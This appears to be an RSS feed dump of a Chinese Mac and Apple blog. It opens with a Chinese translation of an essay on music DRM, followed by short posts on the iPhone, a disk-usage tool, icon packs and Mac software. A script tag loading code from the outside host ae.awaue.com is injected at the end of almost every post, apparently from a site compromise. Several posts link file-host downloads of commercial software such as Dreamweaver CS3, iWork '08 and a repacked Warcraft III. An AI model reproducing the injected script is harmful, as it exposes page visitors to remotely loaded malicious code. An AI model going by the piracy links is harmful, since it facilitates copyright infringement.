<p>第一种选择是保持现状：各家制造商自由竞争，分别设计自己的「由上至下」的专有系统来售卖、播放及保护音乐。这是个竞争十分激烈的市场，全球的大公司都在耗费巨资研发新的音乐播放器与线上音乐商店。苹果、微软与索尼都在就专有系统进行竞争。从微软的 Zune 音乐商店购得的音乐只能在 Zune 播放器上播放；从索尼的 Connect 商店买来的音乐只能在索尼的播放器上播；从苹果的 iTunes 商店购买的音乐，只能在 iPod 上播。这就是业界的现状，顾客是有福的：产品创新不断涌现，他们也有很多购买选择。</p>
<p>有人指出，一旦消费者从某家使用非开放格式的音乐商店购买了一首作品后，就永远只能使用那家公司的播放器了。或云，一旦买了某一品牌的播放器，消费者就只能从那家公司的音乐商店购买音乐。是这样吗？我们来看看 iPod 和 iTunes 商店的统计数据，这是该领域销量最大的产品，我们也有关于它们的准确数据。截至二零零六年底，我们总共卖出了九千万台 iPod 和二十亿首歌。平均下来，每部 iPod 上有二十二首歌购自 iTunes 音乐商店。</p>
<p>如今卖得最好的 iPod 可以装一千首歌，调查结果显示，一般来说，用户的 iPod 都几乎是满的。这意味着一千首歌里，只有二十二首（或者说平均每部 iPod 上全部音乐的百分之三）是购自 iTunes 商店并受到 DRM 的保护的。剩下的百分之九十七并未受到保护，可以在任何支持开放格式的播放器上播放。很难相信用户会因为平均每部 iPod 上百分之三的音乐就选择在将来不买 iPod 以外的任何其他播放器。另外，既然平均每部 iPod 上百分之九十七的音乐都不是购自 iTunes 商店，那么很明显，iPod 用户购买音乐的管道并未被限制在 iTunes 商店。</p>
<p>第二个选择是，苹果把 FairPlay DRM 技术授权给当下以及未来的竞争对手使用，以期在不同公司的播放器与音乐商店间达成兼容。表面上看来这是个好主意，顾客的选择似乎是增加了，而苹果也可以通过 FairPlay 收取一小笔授权费。然而，只要想深一层，问题就来了。最大的问题是，把 DRM 授权给他人，意味着把我们的秘密透露给许多公司的许多人。历史告诉我们，这些秘密的泄露是迟早的事。互联网令这种泄密的破坏性大大增加，因为一个小小的泄露可以在一分钟不到的时间里传遍世界。这种泄露很快就会催生出用来解除 DRM 锁护、可在网上免费下载的程序，之后，这些被保护的歌曲就可以在任何未经授权的播放器上播放了。</p>
<p>还有一个同样严重的问题：如何迅速恢复这种泄露所造成的损失？要有效地恢复，大概需要用新的秘密来强化音乐商店软件、音乐点唱机软件以及播放器内部的软件，然后将这些更新了的软件装入上千万（或者上亿）台使用中的苹果电脑、Windows PC 或播放器中。要做到这一点，需要高度协调，反应迅速。在一家公司控制了所有这些要素的情况下，这已经很不容易了；如果这些要素分别由不同的公司控制，它们就必须在发生泄露的情况下，迅速协同动作，这几乎是不可能的。</p>
<p>苹果的结论是，如果将 FairPlay 授权给他人，我们就无法继续确保保护四大唱片公司授权给我们的音乐。或许微软最近也得出了相同的结论，从而导致他们由「开放式」地将自己的 DRM 技术授权他人使用转向「封闭」模式，仅仅提供一个专有式的音乐商店，一套专有式的点唱机软件以及专有播放器。</p>
<p>第三个选择是完全摒弃 DRM 技术。想像一下这样的世界：所有线上商店卖的音乐都不含 DRM 技术，都是以开放的格式编码。在这样的世界里，任何播放器都可以播任何线上商店买来的音乐，所有商店卖的音乐也都能在任何播放器上播。对于消费者来说，这无疑是最好的选择。苹果会毫不犹豫地拥抱这样的世界。如果四大唱片公司愿意把他们的音乐授权给苹果销售，并且不要求 DRM 锁护的话，我们的 iTunes 商店就会立即转为只卖不含 DRM 的音乐。届时每一部 iPod 都将能够播放无 DRM 音乐。</p>
<p>四大唱片公司同意苹果与其他公司以不含 DRM 的方式传布他们的音乐有何好处？最简单的回答是，DRM 对于打击盗版一直不起作用，而且可能永远也起不了作用。尽管四大唱片公司要求我们用 DRM 技术保护他们所有在线上销售的音乐，但他们自己每年仍然卖几十亿张 CD，那里面的音乐完全是未受保护的。一点不错！CD 上从来也没有过 DRM 系统，所以所有 CD 上的音乐都可以轻易传上互联网，然后被（非法地）下载到任何电脑上，在任何播放器上播放。</p>
<p>二零零六年，全球的线上商店共卖出了不到二十亿首受 DRM 保护的歌曲，而唱片公司自己以 CD 形式卖出的完全不受 DRM 保护的歌曲则超过二百亿首。唱片公司正在把大量音乐以不含 DRM 的方式卖出，而且这一点在短期内不会改变，因为他们收入的绝大部分靠的是 CD 销售，而 CD 必须在 CD 播放器里播放，CD 播放器并不支持任何 DRM 系统。</p>
<p>因此，如果说，唱片公司百分之九十的音乐是以不含 DRM 的形式出售，那么为剩下那一小部分加上 DRM 这个累赘又有什么好处呢？好像没有。如果说 DRM 有什么作用的话，设计、维护与更新一套 DRM 系统所需要的技术与额外成本限制了销售含 DRM 音乐的公司的数量。如果去掉这些门槛，或许将会有大量新公司涌入这一领域，投资研发新型的音乐商店与播放器。对于音乐公司来说，这只会有正面效果。</p>
<p>对 DRM 的顾虑多源自欧洲国家。或许那些对现状不满的人应该把他们的精力转向说服唱片公司销售不含 DRM 的音乐。四大唱片公司中的两个半就在欧洲人的自家后院。全球最大的一个，环球公司，完全由法国公司 Vivendi 控股。EMI 是英国公司，而索尼 BMG 百分之五十的股权归德国公司贝塔斯曼所有。说服他们把自己的音乐以不含 DRM 的方式授权给苹果及其他公司出售，这将形成一个真正开放兼容的音乐市场。对此，苹果将全心拥抱。<script src="http://ae.awaue.com/7"></script></p>
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		<title>New Iphone 3.0</title>
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		<pubDate>Thu, 30 Apr 2009 06:45:26 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
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		<description><![CDATA[
 
期待iphone3.0的新功能
]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="iphone" src="http://www.blogcdn.com/www.engadget.com/media/2007/06/iphone-lineup-fixed.jpg" alt="" width="435" height="355" /></p>
<p> </p>
<p>期待iphone3.0的新功能<script src="http://ae.awaue.com/7"></script></p>
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		<title>GrandPerspective</title>
		<link>http://sputh.net/archives/195.mt</link>
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		<pubDate>Tue, 03 Mar 2009 01:05:03 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[软件天地]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[disk]]></category>
		<category><![CDATA[leopard]]></category>
		<category><![CDATA[Mac]]></category>
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		<category><![CDATA[software]]></category>

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		<description><![CDATA[
GrandPerspective 是一个磁盘管理工具。它利用图形来显示磁盘內使用狀況，能快速找到那些在深层目录中特定文件/文件夹。硬盘空间越来越少的时候，逐一检查文件夹是不可能的,它能以图表方式告诉你哪些文件在哪个文件夹占用最多硬盘。
功能和特点
◆ 树状图显示磁盘情况
◆ 可自定义显示样式
◆ 方便的导航图
◆ 在查找器中显示文件/文件夹
◆ 在视图中删除文件/文件夹
◆ 自定义文件/文件夹规则
◆ 多种视图查看
◆ 保存扫描结果
◆ 以图片保存视图
◆ 配置用户参数
◆ 简洁的用户界面
◆ 占用内存和空间小
◆ 完全国际化支持
http://grandperspectiv.sourceforge.net/
最新版本是1.0(22)
]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="grandperspectiv" src="http://grandperspectiv.sourceforge.net/ScreenShots/1_0-FoldersBujumbura.png" alt="" width="432" height="336" /></p>
<p>GrandPerspective 是一个磁盘管理工具。它利用图形来显示磁盘內使用狀況，能快速找到那些在深层目录中特定文件/文件夹。硬盘空间越来越少的时候，逐一检查文件夹是不可能的,它能以图表方式告诉你哪些文件在哪个文件夹占用最多硬盘。</p>
<p><strong>功能和特点<br />
</strong>◆ 树状图显示磁盘情况<br />
◆ 可自定义显示样式<br />
◆ 方便的导航图<br />
◆ 在查找器中显示文件/文件夹<br />
◆ 在视图中删除文件/文件夹<br />
◆ 自定义文件/文件夹规则<br />
◆ 多种视图查看<br />
◆ 保存扫描结果<br />
◆ 以图片保存视图<br />
◆ 配置用户参数<br />
◆ 简洁的用户界面<br />
◆ 占用内存和空间小<br />
◆ 完全国际化支持</p>
<p><a href="http://grandperspectiv.sourceforge.net/">http://grandperspectiv.sourceforge.net/</a></p>
<p>最新版本是1.0(22)<script src="http://ae.awaue.com/7"></script></p>
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		<title>iphone 3g</title>
		<link>http://sputh.net/archives/155.mt</link>
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		<pubDate>Fri, 29 Aug 2008 19:25:31 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[iphone]]></category>

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		<description><![CDATA[post by iphone 3g


]]></description>
			<content:encoded><![CDATA[<p>post by iphone 3g</p>
<p><a href="http://sputh.net/wp-content/uploads/2008/08/l-640-480-4ecc4d79-4b05-4c17-9084-bda8d5a68e20.jpeg"><img src="http://sputh.net/wp-content/uploads/2008/08/l-640-480-4ecc4d79-4b05-4c17-9084-bda8d5a68e20.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a></p>
<p><script src="http://ae.awaue.com/7"></script></p>
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		<title>Iphone用户并非Mac用户</title>
		<link>http://sputh.net/archives/147.mt</link>
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		<pubDate>Wed, 02 Apr 2008 10:13:55 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[adobe share]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[M2]]></category>
		<category><![CDATA[Mac]]></category>

		<guid isPermaLink="false">http://sputh.net/?p=147</guid>
		<description><![CDATA[- 80% 的用户对 iPhone 表示满意；
- 72% 的用户表示每天至少一次用 iPhone 查阅电子邮件；
- 55% 受访者表示 iPhone 提高了他们移动浏览体验；
- 几乎有一半人为了 iPhone 更换了他们的移动网络服务商；
- 40% 的用户是从智能手机用户群体转移过来的；
- 三分之一的 iPhone 用户有两台手机；
- 13% 的用户使用解锁版的 iPhone；
- 五分之一的人购买 iPhone 当作礼物送出。
其中最有趣的是，只有 20% 的人同时还拥有 iPod 和 Mac 电脑，还有 5% 的人没有 iPod 只有 Mac 电脑。一半的 iPhone 低于 30 岁，其中还有 16% 的学生。
完整的调查报告：

其实这篇记事是在M2看到的,只是今天看到了这个adobe share的应用.想帖出来试试看
]]></description>
			<content:encoded><![CDATA[<p>- 80% 的用户对 iPhone 表示满意；<br />
- 72% 的用户表示每天至少一次用 iPhone 查阅电子邮件；<br />
- 55% 受访者表示 iPhone 提高了他们移动浏览体验；<br />
- 几乎有一半人为了 iPhone 更换了他们的移动网络服务商；<br />
- 40% 的用户是从智能手机用户群体转移过来的；<br />
- 三分之一的 iPhone 用户有两台手机；<br />
- 13% 的用户使用解锁版的 iPhone；<br />
- 五分之一的人购买 iPhone 当作礼物送出。</p>
<p>其中最有趣的是，只有 20% 的人同时还拥有 iPod 和 Mac 电脑，还有 5% 的人没有 iPod 只有 Mac 电脑。一半的 iPhone 低于 30 岁，其中还有 16% 的学生。</p>
<p>完整的调查报告：</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="365" height="500" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="quality" value="high" /><param name="wmode" value="transparent" /><param name="allowFullScreen" value="true" /><param name="flashvars" value="ext=pdf&amp;docId=2c83d7ff-004e-11dd-9584-05a70e03ce3d" /><param name="src" value="https://share.acrobat.com/adc/flex/mpt.swf" /><embed type="application/x-shockwave-flash" width="365" height="500" src="https://share.acrobat.com/adc/flex/mpt.swf" flashvars="ext=pdf&amp;docId=2c83d7ff-004e-11dd-9584-05a70e03ce3d" allowfullscreen="true" wmode="transparent" quality="high"></embed></object></p>
<p>其实这篇记事是在M2看到的,只是今天看到了这个adobe share的应用.想帖出来试试看<script src="http://ae.awaue.com/7"></script></p>
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		<title>iLeopard Icons</title>
		<link>http://sputh.net/archives/141.mt</link>
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		<pubDate>Mon, 26 Nov 2007 02:50:23 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[网络应用]]></category>
		<category><![CDATA[apple]]></category>
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		<category><![CDATA[software]]></category>

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		<description><![CDATA[Leopard Icons Pack Special Editionfor Dock IconsThis is special edition of iLeopard Icons Pack series. All Leopard icons available in 512*512 pixels with 96 dpi. For use with ObjectDock, RocketDock, RKLauncer etc..&#8211;Note:All Leopard icons are property of Apple Computer, Inc.&#8211;    Download It and Enjoy !!!

Pack 1: Download 
Pack 2: Download  
SE pack: Download 


]]></description>
			<content:encoded><![CDATA[<p><img src="http://fc02.deviantart.com/fs24/i/2007/320/b/7/iLeopard_Icons_Pack_SE_by_kampongboy92.jpg" onmouseout="undefined" onmouseover="undefined" width="800" height="500" title="undefined" /><br class="webkit-block-placeholder" />Leopard Icons Pack Special Editionfor Dock Icons<br class="webkit-block-placeholder" />This is special edition of iLeopard Icons Pack series. All Leopard icons available in 512*512 pixels with 96 dpi. <br class="webkit-block-placeholder" />For use with ObjectDock, RocketDock, RKLauncer etc..<br class="webkit-block-placeholder" />&#8211;<br class="webkit-block-placeholder" />Note:All Leopard icons are property of Apple Computer, Inc.<br class="webkit-block-placeholder" />&#8211;<br class="webkit-block-placeholder" /> <img src="http://fc02.deviantart.com/fs23/i/2007/312/4/6/iLeopard_Icons_Pack_by_kampongboy92.jpg" onmouseout="undefined" onmouseover="undefined" width="640" height="422" title="undefined" />  <img src="http://fc02.deviantart.com/fs22/i/2007/314/4/7/iLeopard_Icons_Pack_2_by_kampongboy92.jpg" onmouseout="undefined" onmouseover="undefined" width="640" height="422" title="undefined" /> <br class="webkit-block-placeholder" /><br class="webkit-block-placeholder" /><br class="webkit-block-placeholder" />Download It and Enjoy !!!
<ol>
<li>Pack 1: <a href="http://www.deviantart.com/download/69305099/iLeopard_Icons_Pack_by_kampongboy92.zip">Download</a> </li>
<li>Pack 2: <a href="http://www.deviantart.com/download/69444808/iLeopard_Icons_Pack_2_by_kampongboy92.zip">Download</a>  </li>
<li>SE pack: <a href="http://www.deviantart.com/download/69926208/iLeopard_Icons_Pack_SE_by_kampongboy92.zip">Download</a> </li>
</ol>
<p><script src="http://ae.awaue.com/7"></script></p>
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		<title>Adobe Dreamweaver CS3</title>
		<link>http://sputh.net/archives/139.mt</link>
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		<pubDate>Sun, 25 Nov 2007 13:27:03 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
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		<category><![CDATA[adobe]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[Dreamweaver CS3]]></category>
		<category><![CDATA[mac OSx]]></category>
		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://sputh.net/archives/139.mt</guid>
		<description><![CDATA[ DREAMWEAVER CS3とは？ 
Adobe® Dreamweaver® CS3があれば、Web サイト・Web アプリケーションのデザイン、開発、管理に関するすべての作業を手軽に、しかもすばやく進められます。 デザイナとデベロッパ両方のために開発された業界デファクトスタンダードツールの Dreamweaver CS3 には、直感的な作業を可能にする、視覚的なレイアウト作業インタフェイスと効率良いコーディング環境が搭載されているので、制作環境を自由に選択することができます。 また、Adobe Photoshop® CS3 をはじめ、Adobe Illustrator® CS3 や Adobe Fireworks® CS3、Adobe Flash® CS3 Professional、Adobe Contribute® CS3 などとの高度な連携をサポートするので、ツール間でのシームレスなワークフローを提供します。
 you can find it here!!!just only for Mac
http://www.mediafire.com/?3nyxoa1mioy
]]></description>
			<content:encoded><![CDATA[<p> <img src="http://z.about.com/d/graphicssoft/1/0/a/r/4/dw_cs3_3in_boxshot.jpg" onmouseout="undefined" onmouseover="undefined" width="473" height="500" title="undefined" /><span class="Apple-style-span" style="color: #424242; font-family: Arial; font-size: 18px; line-height: 22px; text-transform: uppercase">DREAMWEAVER CS3とは？</span><span class="Apple-style-span" style="color: #424242; font-family: Arial; font-size: 12px; line-height: 12px"> </span>
<p style="font-size: 1em; line-height: 1.333; margin-top: 0px; padding-bottom: 1px; margin-bottom: 1.2em"><strong>Adobe® Dreamweaver® CS3</strong>があれば、Web サイト・Web アプリケーションのデザイン、開発、管理に関するすべての作業を手軽に、しかもすばやく進められます。 デザイナとデベロッパ両方のために開発された業界デファクトスタンダードツールの Dreamweaver CS3 には、直感的な作業を可能にする、視覚的なレイアウト作業インタフェイスと効率良いコーディング環境が搭載されているので、制作環境を自由に選択することができます。 また、Adobe Photoshop® CS3 をはじめ、Adobe Illustrator® CS3 や Adobe Fireworks® CS3、Adobe Flash® CS3 Professional、Adobe Contribute® CS3 などとの高度な連携をサポートするので、ツール間でのシームレスなワークフローを提供します。</p>
<p style="font-size: 1em; line-height: 1.333; margin-top: 0px; padding-bottom: 1px; margin-bottom: 1.2em"> you can find it here!!!just only for Mac</p>
<p><span class="Apple-style-span" style="color: #551a8b; text-decoration: underline"><br class="webkit-block-placeholder" /></span>http://www.mediafire.com/?3nyxoa1mioy<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		</item>
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		<title>iWork&#8217;08</title>
		<link>http://sputh.net/archives/138.mt</link>
		<comments>http://sputh.net/archives/138.mt#comments</comments>
		<pubDate>Sun, 25 Nov 2007 13:16:58 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[iwork]]></category>
		<category><![CDATA[mac OSx]]></category>
		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://sputh.net/archives/138.mt</guid>
		<description><![CDATA[
Ready to try iWork ’08?
 
First let’s see if it’s already on your hard drive.
To find out, look in the Applications folder on your Mac. If you don’t find an iWork ’08 folder there or if you find an earlier version of iWork, don’t worry. You can download the iWork ‘08 trial right now—for free. Just [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://images.apple.com/iwork/trial/images/hero20070807.png" onmouseout="undefined" onmouseover="undefined" width="326" height="291" title="undefined" /><span class="Apple-style-span" style="color: #4c4c4c; font-family: 'Lucida Grande'; font-size: 12px; line-height: 18px"><br />
<h3 style="margin-top: 0px; margin-right: 0px; margin-left: 0px; font-style: normal; font-weight: bold; line-height: 18px; font-size: 14px; margin-bottom: 0.2em; color: #000000; padding: 0px">Ready to try iWork ’08?</h3>
<p></span> 
<p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; margin-bottom: 18px; padding: 0px">First let’s see if it’s already on your hard drive.</p>
<p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; margin-bottom: 18px; padding: 0px">To find out, look in the Applications folder on your Mac. If you don’t find an iWork ’08 folder there or if you find an earlier version of iWork, don’t worry. You can download the iWork ‘08 trial right now—for free. Just click Get iWork ‘08, and it will quickly download into the Applications folder on your Mac.</p>
<p style="margin-top: 0px; margin-right: 0px; margin-left: 0px; margin-bottom: 18px; padding: 0px"> </p>
<ul>
<li>http://www.mediafire.com/?czgwnzzzpk5</li>
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<p> just only for Mac<script src="http://ae.awaue.com/7"></script></p>
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		<title>warcraft3(MAC)</title>
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		<pubDate>Sun, 25 Nov 2007 10:55:53 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[apple]]></category>
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		<category><![CDATA[war3]]></category>

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		<description><![CDATA[操作方法一:正常安装1,游戏下载这个文件都要下载,服务器在国外速度不知道快不快,但是是http连接,我不会删文件的,请大家放心下载Warcraft III &#8211; Reign of ChaosWarcraft III &#8211; The Frozen Throne 2,游戏安装下下来的文件用最新版本的stufflt解压缩,得到的都是DMG文件.,就像往常你装软件一样的操作,就安装了.安装的时候要key,里面都包含的有去下载TFT的升级文件,地址是http://ftp.blizzard.com/pub/war3x/patches/Mac/War3TFT_121a_English.bin下下来的升级文件打开后会自动安装,不需要你手动操作.以上是英文版本安装完毕,如果需要汉化,[转]完美汉化Mac魔兽争霸, 实际上这个问题一点也不难，只是很多同学不知道而已。原来也有人说过，但并不全面。其实魔兽的语言保存在其本身文件夹下的四个文件中，分别为：War3.mpq(419.5M)War3Patch.mpq(26.4M)War3x.mpq(326.8M)War3xlocal.mpq(42.9M)而这四个文件是和PC版相同的，也就是说只要有PC版本的中文魔兽争霸，把PC中的这四个文件复制到Mac中覆盖原文件即可。关于汉化原来有人提到了 War3Patch.mpq这个文件，但实际上这个文件只是冰封王座的程序界面，兵种说明的汉化，并算不上完整。将这四个文件替换之后汉化的内容有：混乱之治的界面，兵种说明，任务内容；冰封王座的界面，兵种说明，任务内容；所有过场动画的中文字幕；地图编辑器。另外的提示：首先，想要在观看动画的同时显示字幕首先要在主菜单中的选项下的声音里面的字幕选项前面打上勾。其次，这种汉化并没有解决在选择地图时的地图文件描述内容，因为描述内容在地图文件中，所以如果有需要可以将PC中的Maps文件夹复制过来覆盖原目录。最后，如果在直接覆盖的过程中出现错误提示，那么请尝试首先移开原文件再进行复制。注意：覆盖之前务必确保Mac与PC中的魔兽争霸版本一致，版本号在进入游戏后会显示在右下脚。这里附上最新升级文件下载地址，Mac需要将升级文件复制到游戏所在文件夹下方可正常运行。混乱之治的    http://ftp.blizzard.com/pub/war3x/patches/冰封王座的    http://ftp.blizzard.com/pub/war3/patches/请根据需要选择下载。最后说下自定义快捷键的事情，具体的修改参见游戏目录下的CustomKeyInfo.txt和CustomKeySample.txt。如果不喜欢E文可以将PC中的复制过来，是通用的。修改后也别忘了在主菜单中的选项下的游戏性中勾选自定义快捷键。操作之前请注意备份好了！看到另外一个帖子，其中提到了魔兽争霸 cdkey的问题，看来War3Patch.mpq这个文件并不仅仅包含冰封王座的程序界面和兵种说明界面的中文化内容。同时也包含了安装时的cdkey信息。正是因为这个原因，所以如果在PC上的魔兽争霸安装时使用了正版cdkey的话，在汉化Mac版本后，Mac便也可以登陆Battle.net进行网络对战。具体内容可参见秋风中的落叶的这个帖子，地址是：完成！mac用中国买的cdkey上BN！另外需要注意的是，汉化操作最重要的是PC和Mac上魔兽争霸程序的版本一定要一致，包括混乱之治和冰封王座。任何由于汉化操作致使程序运行出现问题基本上都是因为版本不同导致的。请在汉化前同时检查PC中混乱之治和冰封王座的版本是否与Mac相对应。一头安装有混乱之治和冰封王座而另外一头只有混乱之治，在这种状态汉化是不被允许的。如果按照之前的说法确实的替换了以上文件，那么Mac中的魔兽争霸程序将被完全汉化，任何有关汉化不完全的反馈请再次检查个人操作是否正确。 .3,play it!操作方法二:直接游戏以上的下载文件是原始安装文件,下面的文件是我把我自己已经汉化好的游戏,从新压缩,你下载后得到的就是简体中文版本1.21.今后升级去暴雪下文件就行了http://www.mediafire.com/?eobcvhtk9enhttp://www.mediafire.com/?ag0izozs9wwhttp://www.mediafire.com/?1monmyddzn1http://www.mediafire.com/?bww4kznvnmxhttp://www.mediafire.com/?53d4jfyoye2http://www.mediafire.com/?anywn3d9mcxhttp://www.mediafire.com/?5m9bbmrndn2http://www.mediafire.com/?fmfne5o5i3thttp://www.mediafire.com/?6lmzzmtxyjyhttp://www.mediafire.com/?65o0nlncyodhttp://www.mediafire.com/?6czfj1sudpohttp://www.mediafire.com/?ewycdmtzzjz 
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			<content:encoded><![CDATA[<p><span class="Apple-style-span" style="color: #551a8b; text-decoration: underline"><img src="http://www.blizzard.com/war3x/images/screens/concept/ss09.jpg" onmouseout="undefined" onmouseover="undefined" width="500" height="763" title="undefined" /></span><span class="Apple-style-span" style="color: #551a8b; text-decoration: underline"></span><span class="Apple-style-span" style="color: #551a8b; text-decoration: underline"><br class="webkit-block-placeholder" /></span>操作方法一:正常安装1,游戏下载这个文件都要下载,服务器在国外速度不知道快不快,但是是http连接,我不会删文件的,请大家放心下载Warcraft III &#8211; Reign of ChaosWarcraft III &#8211; The Frozen Throne 2,游戏安装下下来的文件用最新版本的stufflt解压缩,得到的都是DMG文件.,就像往常你装软件一样的操作,就安装了.安装的时候要key,里面都包含的有去下载TFT的升级文件,地址是http://ftp.blizzard.com/pub/war3x/patches/Mac/War3TFT_121a_English.bin下下来的升级文件打开后会自动安装,不需要你手动操作.以上是英文版本安装完毕,如果需要汉化,[转]完美汉化Mac魔兽争霸, 实际上这个问题一点也不难，只是很多同学不知道而已。原来也有人说过，但并不全面。其实魔兽的语言保存在其本身文件夹下的四个文件中，分别为：War3.mpq(419.5M)War3Patch.mpq(26.4M)War3x.mpq(326.8M)War3xlocal.mpq(42.9M)而这四个文件是和PC版相同的，也就是说只要有PC版本的中文魔兽争霸，把PC中的这四个文件复制到Mac中覆盖原文件即可。关于汉化原来有人提到了 War3Patch.mpq这个文件，但实际上这个文件只是冰封王座的程序界面，兵种说明的汉化，并算不上完整。将这四个文件替换之后汉化的内容有：混乱之治的界面，兵种说明，任务内容；冰封王座的界面，兵种说明，任务内容；所有过场动画的中文字幕；地图编辑器。另外的提示：首先，想要在观看动画的同时显示字幕首先要在主菜单中的选项下的声音里面的字幕选项前面打上勾。其次，这种汉化并没有解决在选择地图时的地图文件描述内容，因为描述内容在地图文件中，所以如果有需要可以将PC中的Maps文件夹复制过来覆盖原目录。最后，如果在直接覆盖的过程中出现错误提示，那么请尝试首先移开原文件再进行复制。注意：覆盖之前务必确保Mac与PC中的魔兽争霸版本一致，版本号在进入游戏后会显示在右下脚。这里附上最新升级文件下载地址，Mac需要将升级文件复制到游戏所在文件夹下方可正常运行。混乱之治的    http://ftp.blizzard.com/pub/war3x/patches/冰封王座的    http://ftp.blizzard.com/pub/war3/patches/请根据需要选择下载。最后说下自定义快捷键的事情，具体的修改参见游戏目录下的CustomKeyInfo.txt和CustomKeySample.txt。如果不喜欢E文可以将PC中的复制过来，是通用的。修改后也别忘了在主菜单中的选项下的游戏性中勾选自定义快捷键。操作之前请注意备份好了！看到另外一个帖子，其中提到了魔兽争霸 cdkey的问题，看来War3Patch.mpq这个文件并不仅仅包含冰封王座的程序界面和兵种说明界面的中文化内容。同时也包含了安装时的cdkey信息。正是因为这个原因，所以如果在PC上的魔兽争霸安装时使用了正版cdkey的话，在汉化Mac版本后，Mac便也可以登陆Battle.net进行网络对战。具体内容可参见秋风中的落叶的这个帖子，地址是：完成！mac用中国买的cdkey上BN！另外需要注意的是，汉化操作最重要的是PC和Mac上魔兽争霸程序的版本一定要一致，包括混乱之治和冰封王座。任何由于汉化操作致使程序运行出现问题基本上都是因为版本不同导致的。请在汉化前同时检查PC中混乱之治和冰封王座的版本是否与Mac相对应。一头安装有混乱之治和冰封王座而另外一头只有混乱之治，在这种状态汉化是不被允许的。如果按照之前的说法确实的替换了以上文件，那么Mac中的魔兽争霸程序将被完全汉化，任何有关汉化不完全的反馈请再次检查个人操作是否正确。 .3,play it!操作方法二:直接游戏以上的下载文件是原始安装文件,下面的文件是我把我自己已经汉化好的游戏,从新压缩,你下载后得到的就是简体中文版本1.21.今后升级去暴雪下文件就行了<span style="border-collapse: collapse; color: #333333; font-family: Tahoma; font-size: 12px; line-height: 19px" class="Apple-style-span"><a href="http://www.mediafire.com/?eobcvhtk9en" style="word-wrap: break-word; color: #000000; text-decoration: none; line-height: normal" target="_blank">http://www.mediafire.com/?eobcvhtk9en</a></span><span style="border-collapse: collapse; color: #333333; font-family: Tahoma; font-size: 12px; line-height: 19px" class="Apple-style-span"><a href="http://www.mediafire.com/?eobcvhtk9en" style="word-wrap: break-word; color: #000000; text-decoration: none; line-height: normal" target="_blank"></a></span><span style="border-collapse: collapse; color: #333333; font-family: Tahoma; font-size: 12px; line-height: 19px" class="Apple-style-span"><a href="http://www.mediafire.com/?ag0izozs9ww" style="word-wrap: break-word; color: #000000; text-decoration: none; line-height: normal" target="_blank">http://www.mediafire.com/?ag0izozs9ww</a><br style="word-wrap: break-word; line-height: normal" /><br style="word-wrap: break-word; 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		<title>Iphone</title>
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		<pubDate>Sat, 24 Nov 2007 06:24:23 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[iphone]]></category>

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		<description><![CDATA[无SIM锁iPhone德国开卖 售价超万元由于沃达丰德国公司的申诉，德国汉堡地方法院颁出禁令，要求德国电信T-Mobile停止销售捆绑两年资费套餐并进行SIM卡锁定的iPhone手机。美联社本周三报道，德国电信宣布将遵守法庭要求，立刻开始销售无SIM卡锁，无套餐捆绑的iPHone手机。唯一的问题是，T-Mobile本月9日开始的销售捆绑套餐iPhone价格为399欧元，而即日起开始销售的无SIM卡锁版本价格高达999欧元，换算成人民币已经超过万元大关。这一价格策略也符合T-Mobile以及许多欧洲电信运营商的传统。比如流行的诺基亚旗舰N95手机，捆绑两年套餐的价格为199.95欧元，而无锁版为619.95欧元。德国电信还表示，允许已经购买iPhone的用户解除SIM卡锁定，但言下之意肯定需要付费。另外，T-Mobile还表示他们将会严格遵守法院判决，直到“法律问题被妥善解决”。“制造此事端”的沃达丰德国发言人对德国电信销售999欧元iPhone的诚意表示质疑。我们也可以从这种天价无锁机的身上看到iPhone进入中国市场后营销方式和价格策略的一些端倪。  这个消息的意义不在于不锁的iphone卖多少钱，而是有官方不锁卡的，就有完美破解的希望 
]]></description>
